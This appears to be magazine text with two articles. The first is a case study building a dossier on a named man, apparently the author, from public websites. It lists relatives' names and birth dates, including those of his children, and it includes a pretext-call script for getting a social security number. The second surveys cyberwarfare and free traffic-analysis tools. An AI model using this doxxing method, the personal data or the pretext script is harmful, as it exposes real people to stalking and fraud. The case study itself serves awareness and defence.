At this stage of the data collection, the following details are known about the target:

Figure 2. *Photo Easily Taken from a Facebook Profile*

- Name: Terrance James Stachowski
- Aliases: Terry, Ski, Blizzardwolf, The Evil Twin, TwinDevil
- Date of Birth (DOB): 01 February, 1979
- Lives in: Kaiserslautern, Germany; Hometown: Minneapolis, MN
- Wife: Alicia, maiden name: Rex, DOB: 17 September, 1983
- Children: Xander, DOB: 09 June 2005; Natasha, DOB: 17 January, 2009
- Mother: Rose, DOB 17 May; Father: Clayton
- Siblings: Michael (Twin Brother), Timothy (Younger Brother), Gary (Younger Brother)
- Names of extended family member and close friends
- Colleges attended – including dates of attendance, and degree conferral dates.
- Interests, hobbies, and locations the target frequents – able to map patterns of activity such as regularly working at the Irish House as a Karaoke DJ on Thursday nights).
- Photos and Videos of target.
- Owner of *www.broken-reality.com*
- Travel history, to include locations and dates of travel

Figure 3. *Domain no Longer Registered*

Blogs

Exhausting the Facebook and Myspace profiles, it's time to revisit the initial Google results list. The target has a blog page (*terranceski.blogspot.org*). Reading through his blogs it can be determined that the target is interested in CyberSecurity and that the blog posts are for school. Also note the name associated with the blog: terranceski, a search on "terranceski" will lead to a Youtube (*www.Youtube.com*) profile that shows the target's Youtube activity.

LinkedIn

The target's public LinkedIn (*linkedin.com*) profile provides an abundance of useful information: A résumé summary, current and past employers, current and previous titles, dates of employment, and a brief description of each position held. Also provided is a list of IT certifications including dates awarded, and a list of colleges attended, to include dates attended and degrees awarded.

deviantART

Another result found via the original Google search is the target's public profile on deviantART (*www.deviantart.com*). This profile provides a glimpse of some paintings and drawings our target has posted to the site, but what's of real interest is what he's listed under personal details: his website: *www.broken-reality.com*, and his email address: *blizzardwolf@broken-reality.com*.

Broken-reality.com, Whois.net, and Archive.org

Visiting *www.broken-reality.com*, it's discovered that there's a problem with the page, an "Internet Explorer cannot display the webpage" error is returned, but there's still a chance that data might be gathered from this lead.

Domain registration details can be examined at Whois.net (*www.whois.net*), in this case it is discovered that broken-reality.com is no longer registered (see Figure 3), but we're not done with the site just yet. Visiting Archive.org (*http://archive.org/web/web.php*) and using its Wayback Machine, it's

Figure 4. *Archives a no Longer Existing Website*

possible to view archives of the site dating between 2004-2007 (see Figure 4). Many of the blogs and images that were present on the site are archived and still accessible (see Figure 5).

The Scary Side of the Internet

Having run through all of the target's available social networking details, it's time to turn to other useful pages on the Internet for gathering information.

- American Yellow Pages (*www.ypstate.com*): Supplied an address and phone number.
- Myheritage.com (*www.myhearitage.com*): Altering the search criteria in Google based on data already collected (expanding search to include family members), it's possible to map the target's entire family tree and extract family photographs.
  A photo taken from Myheritage.com supplies a photograph of the target wearing Air Force blues (see Figure 6); a Google search with key words: "Terrance Stachowski Air Force," produced an Air Force Times legacy article (*airforcetimes.com/legacy*) that listed the date the target was promoted to Staff Sergeant (02May2005).
- Legacy.com (*www.legacy.com*) and meaningfulfunerals.com (*www.meaningfulfunerals.com*): Provides an obituary of the target's deceased mother (28 May, 2011) and notably lists the names and locations of surviving family members.
- Mylife.com (*www.mylife.com*) confirms current location, previous locations, age, relationships, and other relational data (Figure 7).
- Spokeo (*www.spokeo.com*) provides a glimpse of data it can gather for free, but much of the useful information is masked. To test the depths of Spokeo, and gather data for this paper, a Premium Spokeo account ($3.95 a month) was utilized, and the amount of personal data returned was intriguing. Search patterns included the target's first and last name, and the e-mail addresses which were captured earlier in the collection process. Spokeo provided the following information: Four properties linked to the target (see Figure 8) – including home values, driving directions, and aerial photos), phone numbers, email addresses, DOB, family members, links to social networking sites, photos, blogs, even the target and his children's Amazon (*www.amazon.com*) wish lists.

Putting It All Together, The Results of Data Mining

Having exhausted most public avenues of data collection on the target, it's safe to say that the passive data collection stage is complete; a complete dossier of the target has been developed. What's left is to make sense of the data compiled in Maltego and determine how the information can best be utilized in a SEA. Figures 9 through 11 demonstrate the amount of data that can be harvested and correlated starting with only a name, the results are extraordinary!

Where to go from here?

From this point, the social engineer has enough data to begin targeted phishing attempts or social engineering attacks on the target. The social engineer could postpone an attack and perform more aggressive data collection such as gaining public and court records, credit checks, background

Figure 5. *Blog Active and Accessible from the Expired Website*

Figure 6. *Photo Found Through Myheritage.com*

checks, though these types of inquiries may carry a small fee and may raise alarms or leave a trail. Armed with the target's work history, an attacker could call current or previous employers in attempts to gather sensitive information, for example, the attacker could use the pretext of being an agent from the office that does security background investigations and is calling to verify that the target still requires his security clearance – to verify that they're talking about the same person, he requests the employee id and social security number of the target. The possible attacks are endless; it all comes down to the determination, creativity and skill of the social engineer.

Figure 7. *Location Found Through Mylife.com*

Figure 8. *Properties Linked to the Target Found Through Spokeo*

Summary

The objective of this case study was to accomplish three goals:

Figure 9. *The Amount of Data Discovered by Using Just a Name*

Figure 10. *The Amount of Data Discovered by Using Just a Name*

Figure 11. *The Amount of Data Discovered by Using Just a Name*

- To demonstrate specific steps a social engineer may take to build a dossier.
- To illustrate that complicated software and advanced skills are not required to perform data collection on a target.
- To serve as an example and warning of why we should all carefully consider what information we share on the Internet.

References

- Air Force Times legacy articles. Retrieved 05 May, 2012, from: *http://www.airforcetimes.com/legacy/new/0-AIRPAPER-792685.php*
- American Yellow Pages. Retrieved 02 May, 2012, from: (http://*www.ypstate.com*)
- Archive.org. Retrieved 02 May, 2012, from: *http://archive.org/web/web.php*
- Blogspot.org. Retrieved 18 April, 2012, from: http://*www.blogspot.org*
- Buddymedia.com. Retrieved 18 May, 2012 from: *http://www.buddymedia.com*
- Deviantart.com. Retrieved 30 April, 2012, from: *www.deviantart.com*
- Google. Retrieved 12 April, 2012, from: *http://www.google.com*
- Hadnagy, C. J. (2011). Social engineering: The art of human hacking. Indianapolis, IN: Wiley Publishing, Inc.
- How to Remove Your Personal Information from Google and Internet. Retrieved 10 May, 2012 from: *http://www.squidoo.com/personalInformation*
- Howtovanish.com. Retrieved 10 May, 2012, from: *http://www.howtovanish.com/2011/02/remove-personal-information-from-the-internet/*
- Kurtz, G., McClure, S., Scambray, J. (2009). Hacking exposed 6: Network security secrets & solutions. New York: NY: McGraw-Hill Companies
- Legacy.com. Retrieved 02 May, 2012, from: http://*www.legacy.com*
- Linkedin.com. Retrieved 29 April, 2012, from: *http://www.linkedin.com*
- Maltego. Retrieved 12 April, 2012, from: *http://www.paterva.com/web5/client/download.php*
- Mitnick, K. D., Simon, W. L. (2002). The art of deception: Controlling the human element of security. Indianapolis, IN: Wiley Publishing, Inc.
- Mitnick, K. D., Simon, W. L. (2005). The art of intrusion: The real stories behind the exploits of hackers, intruders & deceivers. Indianapolis, IN: Wiley Publishing, Inc.
- Mitnick, K. D., Simon, W. L. (2011). Ghost in the wires: My adventures as the world's most wanted hacker. New York, NY: Little, Brown and Company
- Myheritage.com. Retrieved 5 May, 2012, from: http://*www.myhearitage.com*
- Mylife. Retrieved 12 April, 2012, from: http://*www.mylife.com*
- Myspace. Retrieved 12 April, 2012, from: http://*www.myspace.com*
- Spokeo. Retrieved 04 May, 2012, from: http://*www.spokeo.com*
- Zelster, L. (2009). How to use Twitter for information mining. Retrieved 14 April, 2012, from: *http://isc.sans.edu/diary.html?storyid=5728&rss*

Figure 12. *Websites Able to Provide Personal Data*

It is my hope that these goals have been accomplished and that the reader is compelled to examine their online footprint and consider the amount of personal information they are sharing online. We must all consider the fact that individual pieces of information that may seem insignificant by themselves may be pieced together to build a much larger picture that could be used to cause us harm.

It is my suggestion to spend some time mapping out your online presence and educate yourself on what the public is capable of learning about you; Perform Google searches on yourself and examine the publicly accessible pages of your social networking profiles.

Additional Resources

The target in this paper didn't have a presence on the following sites, but each one can be quite useful in both the data gathering process and in controlling what you share on the Internet: *pipl.com, 123people.com, Zillow.com, Twitter.com, Formspring.me, Bebo.com, Friendster.com, Hi5.com, Intelius.com, Knowem.com, Namechk.com, Icanstalku.com, Ussearch.com, and Howtovanish.com*. There are hundreds of social sites available to gather data from (see Figure 12) and each may provide a vital piece of information to aid in completing a target's dossier.

TERRANCE J. STACHOWSKI, CISSP, L|PT

Using Wireshark

and Other Tools to as an Aid in Cyberwarfare and Cybercrime

Attempting to Solve the "Attribution Problem" – Using Wireshark and Other Tools to as an Aid in Cyberwarfare and Cybercrime for Analyzing the Nature and Characteristics of a Tactical or Strategic Offensive Cyberweapon and Hacking Attacks.

One of the main disadvantages of the hyper-connected world of the 21st century is the very real danger that countries, organizations, and people who use networks computer resources connected to the Internet face because they are at risk of cyberattacks that could result in anything ranging from denial service, to espionage, theft of confidential data, destruction of data, and/or destruction of systems and services. As a recognition of these dangers, the national leaders and military of most modern countries have now recognized that the potential and likely eventuality of cyberwar is very real and many are preparing to counter the threats of cyberwar with modern technological tools using strategies and tactics under a framework of cyberdeterrence, with which they can deter the potential attacks associated with cyberwarfare.

What is Cyberwarfare?

During my studies prior to and as a student in this DET 630 – Cyberwarfare and Cyberdeterrence course at Bellevue University, it occurred to me that considering the rapid evolution of the potentially destructive capabilities of cyberweapons and the complex nature of cyberdeterrence in the 21st century, it is now a critical priority to integrate the cyberwarfare and cyberdeterrence plans into the CONOPS plan. Indeed, if the strategic battleground of the 21st century has now expanded to include cyberspace, and the U.S. has in the last five years ramped up major military commands, training, personnel, and capabilities to support cyberwarfare and cyberdeterrence capabilities, the inclusion of these capabilities should now be a critical priority of the Obama administration if has not already happened.

How large a problem is this for the United States?

Without the integration of cyberwarfare and cyberdeterrence technologies, strategies, and tactics into the CONOPS Plan, the national command authorities run a grave risk of conducting a poorly planned offensive cyberwarfare operation that could precipitate a global crisis, impair relationships with its allies, and potentially unleash a whole host of unintended negative and potentially catastrophic consequences. In non-military terms, at least four notable cyberspace events caused widespread damages via the Internet because of the rapid speed of their propagation, and their apparently ruthless and indiscriminant selection of vulnerable targets. They are 1) the Robert Morris worm (U.S. origin, 1988); 2) the ILOVEYOU worm (Philippines origin, 2000); the Code Red worm (U.S. origin, 2001); and the SQL Slammer worm (U.S. origin, 2003). If not executed with great care and forethought, a cyberweapons could potentially unleash even greater damage on intended targets and possible on unintended targets that were connected via the Internet.

Other Not So Obvious Challenges for Cyberweapons and Cyberdeterrence

The cyberspace threat and vulnerability landscape is notable in that it is continually dynamic and shifting. Those who are responsible for protecting assets in cyberspace have many more challenges on their hands than their military counterparts who utilize weapons like guns, explosives, artillery, missiles, etc. For example, there are by some estimates over 350 new types of malware that are manufactured each month. There are also monthly patch updates to most Microsoft software and operating systems, and phenomena such as evil hackers and zero-day exploits are apparently never ending.

Therefore, the inclusion of cyberweapons and cyberdeterrence capabilities into the CONOPS Plan would require more frequent, rigorous, complex, and integrated testing to ensure that it was always effective and up to date. In the dynamic world of cyberspace with it's constantly shifting landscape of new capabilities, threats and vulnerabilities, the coordination of the constant refresh and testing of a CONOPS Plan that integrated these cyberwarfare and cyberdeterrence capabilities would be no small feat.

In addition, constant intelligence gathering and reconnaissance would need to be performed on suspected enemies to ensure that our cyberweapons and cyberdeterrence capabilities would be in constant state of being able to deliver the intended effects for which they were designed.

Is it a problem for other countries?

The careful planning and integration of cyberweapons and cyberdeterrence is likely a challenge for every country with these capabilities. For example, much is already known about our potential adversaries, such as Russia, China and North Korea, but what is perhaps less understood is the degree to which they have been successful in integrating cyberwarfare and cyberdeterrence capabilities into their own national war plans.

Nevertheless, due to the previous extensive experience of Russia and the U.S. with strategic war planning, it is more likely that each of these countries stand the greatest chance of making integrating cyberwarfare and cyberdeterrence capabilities into their respective war plans.

Yet, as far back as June 2009, it was clear that the U.S. and Russia were unable to agree on a treaty that would create the terms under which cyberwarfare operations could and would be conducted (Markoff, J. and Kramer, A. E., 2009).

Is it problematic for these countries in the same ways or is there variation? What kind?

Every country that is modern enough to have organizations, people, and assets that are connected to computers and the Internet faces similar challenges of planning and managing cyberweapons and cyberdeterrence, and the poorer the country, the more significant the challenges. For example, when a small group of hackers from Manila in the Philippines unleashed the ILOVEYOU worm on the Internet in 2000, it caused over $2 billion in damages to computer data throughout the world. Agents from the FBI went to Manila to track down these people and investigate how and why the ILOVEYOU worm catastrophe occurred. To their surprise, they learned that each of these hackers who were involved could successfully escape prosecution because there were no laws in the Philippines with which to prosecute them. So actually most countries lack the technological and legal frameworks with which to successfully build a coordinated effort to manage the weapons and strategies of cyberwarfare and cyberdeterrence, despite the fact that most now embrace cyberspace with all the positive economic benefits it offers for commerce and communications.

What are the consequences to the U.S. and others if this threat is left unchecked?

As stated earlier, without the careful integration of cyberwarfare and cyberdeterrence technologies, strategies, and tactics into the CONOPS Plan, the national command authorities run a grave risk of launching a poorly planned offensive cyberwarfare operation that could precipitate a global crisis, impair relationships with its allies, and potentially unleash a whole host of unintended negative and potentially catastrophic consequences.

What consequences has the threat already produced on American/global society?

I believe that yes, the absence of well-defined cyberwarfare and cyberdeterrence strategies and tactics in the CONOPS Plan has already produced some situations that have either damaged America's image abroad, or that could imperil its image and have far more negative consequences. For example, operates such as Stuxnet, Flame, Duque, etc., might have either been better planned or possibly not executed at all if cyberwarfare and cyberdeterrence strategies and tactics were defined in the CONOPS Plan. Also, the news media indicated during the revolution in Libya that resulted in the fall of Qaddafi, cyberwarfare operations were considered

by the Obama administration. The negative reactions and repercussions on the world stage might have far outweighed any short term advantages that could have resulted from a successful set of cyberattacks against Libyan infrastructure assets that were attached to computer networks. Again, a comprehensive CONOPS Plan that included well-defined cyberwarfare and cyberdeterrence strategies and tactics could have prevented such possible cyberattacks from even being considered, and it could have prevented the news of the possible consideration being publicized in the press (Schmitt, E. and Shanker, T., 2011). Without such restraint and well-planned deliberate actions, the U.S. runs the risk of appearing like the well-equipped cyber bully on the world stage, and an adversary who is willing to unleash weapons that can and will do crippling damage to an opponent, using technologies that are rapid, decisive, and not well-understood by those for whom they are intended. A similar effect and world reaction might be if U.S. Army infantry troops were equipped with laser rifles that emitted deadly laser blasts with pinpoint precision across several hundred yards.

Has this threat evolved or changed over time or is it relatively constant? If it has evolved or changed, exactly how has that change happened and what political consequences have emerged from them?

The threat has certainly rapidly evolved over time. Since Stuxnet was released in 2010, countries and the general public are now aware of some of the offensive, strategic and destructive capabilities and potential of cyberweapons (Gelton, T., 2011).

The changes that produced Stuxnet and other recent, more modern cyberweapons were a national resolve to excel in the cyberwarfare area, coupled with excellent reconnaissance on desired

Figure 1. *Logical Model of IT Security Management Controls (Jacquith, 2007)*

targets, and partnering with computer scientists in Israel. The political consequences are not well understood yet, except to say that the U.S. and Israel are probably less trusted and suspected of even greater future capabilities, as well as having the will to use them. Again, having well-planned cyberwarfare and cyberdeterrence strategies and tactics defined in the CONOPS Plan might indeed, restrain such possibly reckless decisions as to unleash cyberweapon attacks without what the world might consider the correct provocation.

Final Thoughts about Cyberwarfare Operations

In the words of Deb Radcliff, in an article published in SC Magazine in September 2012, "we are already in a cyberwar" (Radcliff, D., 2012). But as I was performing my research, it occurred to me that a country like the U.S., might in the future unleash such a devastating cyberattack that it could cripple the enemy's ability to communicate surrender. I think that the moral implications of such circumstances need to be justly considered as a matter of the laws of war, because if a country continues to attack an enemy that has indicated that they are defeated and want to surrender, this shifts the moral ground from which the U.S. may have it was conducting its cyberwarfare operations. This is one other unintended consequence of cyberwarfare and one that needs to be carefully considered.

To further understand the relationship of threats, counter-measures, and exposures in cyberspace, I have included this diagram by Jaquith, shown Figure 1.

Figure 2. *Denial of Service Attack Diagram from ABC News in February 2000*

The Attribution Problem

One of the most perplexing issues of cyberwarfare and cybercrime is the fact that attackers can and very often will use software and other servers from which to launch their attacks. Because of the way the Internet was designed its end-to-end nature of IP communications using other computers to launch attacks is not that difficult. In fact, the computers that actually perform the attacks are called "zombies" as they are configured with remote control programs that are manipulated by the attackers. The recipients can do forensic analysis and determine which "zombie" computers sent the attacks, however, it is practically impossible to collect the data about who the person or persons that originated the attacks. Thus, it is very difficult to attribute the original cause of the attack, hence the name the "attribution problem." In cyberwarfare, this is particularly difficult, because the National Command Authorities would want to understand to whom and where they should employee the cyberwarfare capable units of the U.S. Military to launch a punishing retaliatory cyberattack.

The most common type of attack for "zombie" computers is known as the distributed denial of service attack or DDoS attack. In February 2000, the first sensational wave of DDoS attacks

Figure 3. *Denial of Service Attack Victims Diagram from ABC News in February 2000*

Figure 4. *Denial of Service Attack Zombies Diagram from ABC News in February 2000*

were launched from “zombie” computers that were physically located at major universities in California. The following figures provide some of the details about those attacks and which companies were the targets (Figure 2-4).

Recent Cyber Attacks

As recently as September 23, 2012 – September 30, 2012, cyber attacks in the form of distributed *denial of service* (DDOS) attacks from the Middle East against several major U.S. banks based have pub-

Table 1. *Wireshark Documentation – Packet Analysis Capabilities for Captured Packets*
The Menu Items of the "Packet List" pop-up Menu

Item	Identical to main menu’s item:	Description
Mark Packet (toggle)	Edit	Marklunmark a packet.
Ignore Packet (toggle)	Edit	Ignore or inspect this packet while dissecting the capture file.
Set Time Reference (toggle)	Edit	Set/reset a time reference.
Manually Resolve Address		Allows you to enter a name to resolve for the selected address.
Apply as Filter	Analyze	Prepare and apply a display filter based on the currently selected
item.		
Prepare a Filter	Analyze	Prepare a display filter based on the currently selected item.
Conversation Filler	-	This menu item applies a display filter with the address nformationflonitly selected packet. E.g. the IP mein enttywill eta filter to show the trafficbetweenthe two IP addresses of the current packet. XXX - add a new section describing this better.
Cobrize Conversation	-	This menu item uses adisplayfilterwiththe address infounaticei from the selected packet to build a new colorizing rule.
SCTP	-	Allows ycii to analyze and prepare a filter for this SCTP associafion.
Follow TCP Stream	Analyze	Allows you to view all the data on a TCP streambetw een a pair of noles.
Follow UDP Stream	Analyze	Allows you to view all the data on a UDP datazrain stnain b etw een a pair of nodes.
Follow SSL Stream	Analyze	Same as "Follow TCP Sbeanz" but for SSL. XXX - add a new ection descnbing this better.

Copy/ Summary (Text)	-	Copy the surtunny fields as displayed to the clipboard, as tab-separated text.
Copy/ Summary (CSV)	-	Copy the summary fields as displayed to the clipboard, as conuna-separated text.
Copy/ As Filter	-	Prepare a display filterbased on the currently selected item aid copy that filter to tle clipboard.
Copy/ Byter (Offset Hex)	-	Copy the packet bytes to the clipboard in hexdump-like format, butwitlrut the text partion.
Copy/ Byter (Pantable Text Only>)	-	Copy the packet bytes to the clipboard as ASCII text, excludin; non-pzintab le characters.
Copy/ Wier (Hex Stream)	-	Copy the packet bytes to the clipboard as an unpuirtuated list of hex digits.
Copy/ Byter (Binary Stream)	-	Copy the packet bytes to the clipboard as raw binary. The data is stored intly clipboard as MIME-tyre "application/octet-stteam".

Decode As...	Analyze	Change or apply a new relationbetween two dissectors.
Print…	File	Print packets.
Show Packet in New Window	View	Display the selected packet ma new window.

licly demonstrated the ire of the attackers and also the vulnerabilities of banks with a customer presence in cyberspace (Strohm and Engleman, 2012).

How do you know?

It's not always intuitively obvious, but if your network is slowing down or computers or other devices attached to your network are acting strangely, you could be under attack. But it's best to use analysis tools to understand what is really going on.

Free Tools You Can Use

This section covers three free tools that you can use to understand network activity on your network in greater detail.

Wireshark

Wireshark is a free, open source packet analysis tool that evolved from its predecessor, Ethereal. Wireshark is notable for its ability to quickly, capture and display traffic in a real time sequential way, and allow this traffic to be displayed, broken down at the packet level by each level of the OSI model, from the physical layer up through the application layer. The traffic can also shows the senders and the receivers of each packet, and can be easily summarized with the selection of a few menu choices. The first figure below is from a table in the Wireshark documentation, and the figures that follow are from an actual Wireshark session where about 500,000 packets were collected for summarization and analysis. All this data can also be saved for later analysis.

Wireshark will run on both Windows-based platforms and Mac OS X platforms. This is the website location where you can find Wireshark: *http://www.wireshark.org/download.html* (Table 1 and Figure 5-8).

Figure 5. *Wireshark Opening Screenshot after a Network Interface Has Been Selected for Packet Capture*

Figure 6. *Wireshark Conversation Analysis Screen*

Ostinato

Ostinato is a free, open source-based packet generator that can be used to conduct network experiments, particularly for packet analysis in conjunction with a tool such as Wireshark. It is easy to install, configure and use. Figure 8 shows a screenshot from Ostinato.

Ostinato will run on Windows-based platforms and several other platforms. This is the website location where you can find Ostinato: *http://code.google.com/p/ostinato/* (Figure 9).

Figure 7. *Wireshark Protocol Analysis Screen*

Figure 8. *Wireshark Endpoint Analysis Screen*

TCPView

TCPView is an excellent analysis program that shows what is happening on your computer at layer four of the OSI networking model. If you remember, this is where TCP and UDP activities take place. TCPView allows the user to view and sort data by process, PID, protocol (TCP or UDP), local address, remote address, port number, TCP state, sent packets, sent bytes, received packets, and received bytes. The data can also be saved for later analysis.

TCPView was originally written by Mark Russinovich and Bryce Cogswell and was published and distributed for free by their company, Sysinternals. In 2006, Microsoft acquired Sysinternals and TCPView and many other tools that were created by Sysinternals continue to be updated and distributed by Microsoft for free. TCPView will only run on Windows-based platforms and this is the website location where you can find TCPView and many other great Sysinternals tools: *http://technet.microsoft.com/en-us/sysinternals* (Figure 10).

Traffic to Watch

By far the most interesting and dangerous external traffic to watch on most networks is ICMP traffic. ICMP is the Internet Control Messaging Protocol, and there are eight types of ICMP messages. Hackers can easily use ICMP (PING) messages to create DDOS attacked. A tool like Simple Nomad's "icmpenum" can issue ICMP messages such as ICMP_TIMESTAMP_REQUEST and ICMP_INFO and make it possible to map a network inside of a firewall (K, 2011).

Outbound traffic is just as important as inbound traffic if not more so (Geers, 2011). It is not uncommon for programs like botnets to take up residence and open up secure channels to transmit data to remote servers in places like China, Russia, Eastern Europe and even North Korea.

Figure 9. *Ostinato Packet Generator Screen*

Programs that are unrecognizable should be suspected as possible malware and should be quickly researched to determine if they are hostile. If they cannot be easily identified, that is a bad sign and they should probably be uninstalled.

A Caution to those Who Understand Network Attacks

Title 10 of the U.S. Code forbids U.S. Citizens from taking offensive action against network attackers. Nevertheless, monitoring the evidence and results of unwanted traffic could help you understand it and also help you decide how to improve upon your network defenses (firewall settings for inbound traffic, desktop firewalls, etc.) and even provide evidence to law enforcement authorities.

The Future

Without trying to present a gloomy picture of the cyberspace environment that is composed of the Internet and all the computers, smart phones and other devices attached to it, it appears that for the time being, the bad guys far outnumber the good guys and it appears that they are winning. But it is also apparent that that now more free information and free tools are available than ever before. For the foreseeable future, every person who uses the Internet should seek to educate themselves about the dangers in cyberspace and the ways to protect themselves from these dangers.

Conclusion

This article has briefly reviewed the topic of cyberwarfare and presented some information about free network analysis tools that can help you better understand your network traffic.

Figure 10. *TCPView in Operation, with Records Sorted by Sent Packets, in Descending Order*

The good news is that President Obama and his Administration have an acute awareness of the importance of the cyberspace to the American economy and the American military. The bad news is that because we are already in some form of cyberwarfare that appears to be rapidly escalating, it remains to be seen what effects these cyberattacks and the expected forthcoming Executive Orders that address cybersecurity will have on the American people and our way of life. I believe it will be necessary to act prudently, carefully balancing our freedoms with our need for security, and also considering the importance of enabling and protecting the prosperity of the now electronically connected, free enterprise economy that makes the U.S. the envy of and the model for the rest of the world.

References

- Andreasson, K. (Ed.). (2012). Cybersecurity: Public Sector Threats and Responses. Boca Raton, FL: CRC Press.
- Andress, J. and Winterfeld, S. (2011). Cyber Warfare: Techniques and Tools for Security Practitioners. Boston, MA: Syngress.
- Arndreasson, K. (ed.). (2012). Cybersecurity: Public Sector Threats and Responses. Boca Raton, FL: CRC Press.
- Barnett, M. B. and Finnemore, M. (2004). Rules for the World: International Organizations in Global Politics. Ithaca, NY: Cornell University Press.
- Bayles, A., et al. (2007). Penetration Tester's Open Source Toolkit, Volume 2. Burlington, MA: Syngress.
- Blitz, A. (2011). Lab Manual for Guide to Computer Forensics and Investigations, fourth edition. Boston, MA: Course Technology, Cengage Learning.
- Bousquet, A. (2009). The Scientific Way of Warfare: Order and Chaos on the Battlefields of Modernity. New York, NY: Columbia University Press.
- Brancik, K. (2008). Insider Computer Fraud: An In-Depth Framework for Detecting and Defending Against Insider IT Attacks. Boca Raton, FL: Auerbach Publications.
- Britz, M. T. (2009). Computer Forensics and Cyber Crime: An Introduction, second edition. Upper Saddle River, NJ: Prentice-Hall.
- Bush, G. W. (2008). Comprehensive National Cybersecurity Initiative (CNCI). Published by the White House January 2008. Retrieved from http://www.whitehouse.gov/cybersecurity/comprehensive-national-cybersecurity-initiative on January 5, 2012.
- Calder, A. and Watkins, S. (2010). IT Governance: A Manager's Guide to Data Security and ISO27001/ISO27002, 4th edition. London, UK: Kogan Page.
- Carr, J. (2012). Inside Cyber Warfare, second edition. Sebastopol, CA: O'Reilly.
- Carrier, B. (2005). File System Forensic Analysis. Upper Saddle River, NJ: Addison-Wesley.
- Carvey, H. (2009). Windows Forensic Analysis DVD Toolkit, second edition. Burlington, MA:
- Casey, E. (2011). Digital Evidence and Computer Crime: Forensic Science, Computers and the Internet, third edition. New York, NY: Elsevier.
- Chappell, L. (2010). Wireshark Network Analysis: The Official Wireshark Certified Network Analyst Study Guide, first edition. San Jose, CA: Chappell University.
- Cialdini, R. B. (2009). Influence: Science and Practice, fifth edition. Boston, MA: Pearson Education.
- Clarke, R. A. and Knake, R. K. (2010). Cyberwar: the Next Threat to National Security and What to Do About It. New York, NY: HarperCollins Publishers.
- CNBC. (2012) Cyber Espionage: The Chinese Threat. A collection of articles about the cyber threats posed by Chinese hackers. Retrieved from http://www.cnbc.com/id/47962207/ on July 10, 2012.
- Cole, E. and Ring, S. (2006). Insider Threat: Protecting the Enterprise from Sabotage, Spying, and Present Employees and Contractors from Stealing Corporate Data. Rockland, MA: Syngress Publishing, Inc.
- Cole, E., et al. (2009). Network Security Bible, second edition. Indianapolis, IN: Wiley Publishing, Inc.
- Czosseck, C. and Geers, K. (2009). The Virtual battlefield: Perspectives on Cyber Warfare. Washington, DC: IOS Press.
- Davidoff, S. and Ham, J. (2012). Network Forensics: Tracking Hackers Through Cyberspace. Upper Saddle River, NJ: Prentice-Hall.
- Dhanjani, N. (2009). Hacking: The Next Generation. Sebastopol, CA: O'Reilly.
- Edwards, M. and Stauffer, T. (2008). Control System Security Assessments. A technical paper presented at the 2008 Automation Summit – A Users Conference, in Chicago. Retreived from the web at http://www.infracritical.com/papers/nstb-2481.pdf on December 20, 2011.
- Fayutkin, D. (2012). The American and Russian Approaches to Cyber Challenges. Defence Force Officer, Israel. Retrieved from http://omicsgroup.org/journals/2167-0374/2167-0374-2-110.pdf on September 30, 2012.
- Freedman, L. (2003). The Evolution of Nuclear Strategy. New York, NY: Palgrave Macmillan.
- Friedman, G. (2004). America's Secret War: Inside the Hidden Worldwide Struggle Between America and Its Enemies. New York, NY: Broadway Books.
- Geers, K. (2011). Strategic Cyber Security. A Cybersecurity technical paper published at DEFCON 20.
- Georgetown University. (2012). International Engagement in Cyberspace part 1. A YouTube video. Retrieved from http://www.youtube.com/watch?v=R1lFNgTui00&feature=related on September 21, 2012.
- Gerwitz, D. (2011). The Obama Cyberdoctrine: tweet softly, but carry a big stick. An article published at Zdnet.com on May 17, 2011. Retrieved from http://www.zdnet.com/blog/government/the-obama-cyberdoctrine-tweet-softly-but-carry-a-big-stick/10400 on September 25, 2012.
- Gjelten, T. (2010). Are 'Stuxnet' Worm Attacks Cyberwarfare? An article published at NPR.org on October 1, 2011. Retrieved from the web at http://www.npr.org/2011/09/26/140789306/security-expert-u-s-leading-force-behind-stuxnet on December 20, 2011.
- Gjelten, T. (2010). Stuxnet Computer Worm Has Vast Repercussions. An article published at NPR.org on October 1, 2011. Retrieved from the web at http://www.npr.org/templates/story/story.php?storyId=130260413 on December 20, 2011.
- Gjelten, T. (2010). Stuxnet Computer Worm Has Vast Repercussions. An article published at NPR.org on October 1, 2011. Retrieved from the web at http://www.npr.org/templates/story/story.php?storyId=130260413 on December 20, 2011.
- Gjelten, T. (2011). Security Expert: U.S. 'Leading Force' Behind Stuxnet. An article published at NPR.org on September 26, 2011. Retrieved from the web at http://www.npr.org/2011/09/26/140789306/security-expert-u-s-leading-force -behind-stuxnet on December 20, 2011.

- Gjelten, T. (2011). Stuxnet Raises 'Blowback' Risk In Cyberwar. An article published at NPR.org on December 11, 2011. Retrieved from the web at http://www.npr.org/2011/11/02/141908180/stuxnet-raises-blowback--risk-in-cyberwar on December 20, 2011.
- Gjelten, T. (2011). Stuxnet Raises 'Blowback' Risk In Cyberwar. An article published at NPR.org on December 11, 2011. Retrieved from the web at http://www.npr.org/2011/11/02/141908180/stuxnet-raises-blowback--risk-in-cyberwar on December 20, 2011.
- Glenny, M. (2011). Dark Market: Cyberthieves, Cybercops and You. New York, NY: Alfred A. Knopf.
- Grabo, C. M. (2004). Anticipating Surprise: Analysis for Strategic Warning. Lanham, MD: University Press of America, Inc.
- Guerin, J. (2010). The Essential Guide to Workplace Investigations: How to Handle Employee Complaints & Problems. Berkeley, CA: Nolo.
- Guerin, J. (2010). The Essential Guide to Workplace Investigations: How to Handle Employee Complaints & Problems. Berkeley, CA: Nolo.
- Harper, A., et al. (2011). Gray Hat Hacking: The Ethical Hacker's Handbook, third edition. New York, NY: McGraw Hill.
- Hintzbergen, J., el al. (2010). Foundations of Information Security Based on ISO27001 and ISO27002, second edition. Amersfoort, NL: Van Haren Publishing.
- Honker's Union of China. (2012). Honker's Union of China website. Retrieved from http://www.huc.me/ on September 21, 2012.
- Hyacinthe, B. P. (2009). Cyber Warriors at War: U.S. National Security Secrets & Fears Revealed. Bloomington, IN: Xlibris Corporation.
- Jones, K. J., et al. (2006). Real Digital Forensics: Computer Security and Incident Response. Upper Saddle River, NJ: Addison-Wesley.
- Jones, R. (2006). Internet Forensics: Using Digital Evidence to Solve Computer Crime. Cambridge, MA, CA: OReilly.
- K., Dr. (2011). Hacker's Handbook, fourth edition. London, U.K.: Carlton.
- Kaplan, F. (1983), The Wizards of Armagedden: The Untold Story of a Small Group of Men Who Have Devised the Plans and Shaped the Policies on How to Use the Bomb. Stanford, CA: Stanford University Press.
- Kerr, D. (2012). Senator urges Obama to issue 'cybersecurity' executive order. An article published at Cnet.com on September 24, 2012 Retrieved from http://news.cnet.com/8301-1009_3-57519484-83/senator-urges-obama-to-issue-cybersecurity-executive-order/ on September 26, 2012.
